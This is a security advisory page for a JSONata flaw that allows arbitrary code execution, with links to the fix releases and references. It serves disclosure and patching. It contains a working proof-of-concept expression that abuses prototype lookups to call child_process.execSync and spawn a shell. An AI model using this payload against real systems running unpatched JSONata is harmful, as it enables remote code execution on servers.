JSONata: Arbitrary Code Execution via crafted JSONata expressions
## Impact Before JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705 This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( __lookupSetter__('__proto__')(constructor); __defineGetter__('l', constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) `); await expression.evaluate({}); ```
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2026-77413US | — | — | ||
JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed craf… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/jsonata-js/jsonataPACKAGE
- https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6eWEB
- https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50dWEB
- https://github.com/jsonata-js/jsonata/pull/794WEB
- https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8WEB
- https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0WEB
- https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grpWEB
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan